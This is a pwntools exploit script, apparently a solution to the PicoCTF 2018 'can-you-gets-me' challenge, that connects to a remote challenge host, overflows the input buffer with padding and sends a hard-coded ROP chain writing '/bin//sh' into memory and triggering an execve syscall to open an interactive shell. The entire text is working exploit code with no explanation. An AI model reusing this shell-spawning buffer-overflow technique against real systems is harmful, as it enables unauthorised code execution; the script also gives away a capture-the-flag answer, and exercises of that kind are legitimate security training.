1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * from struct import pack context.log_level = "debug" elf = ELF("./PicoCTF_2018_can-you-gets-me") sh = remote("node3.buuoj.cn","29149")
p = 'a'*(0x18+4) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea060) p += pack('<I', 0x080b81c6) p += '/bin' p += pack('<I', 0x080549db) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea064) p += pack('<I', 0x080b81c6) p += '//sh' p += pack('<I', 0x080549db) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea068) p += pack('<I', 0x08049303) p += pack('<I', 0x080549db) p += pack('<I', 0x080481c9) p += pack('<I', 0x080ea060) p += pack('<I', 0x080de955) p += pack('<I', 0x080ea068) p += pack('<I', 0x0806f02a) p += pack('<I', 0x080ea068) p += pack('<I', 0x08049303) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0807a86f) p += pack('<I', 0x0806cc25)
sh.sendlineafter("NAME!\n",p) sh.interactive()
|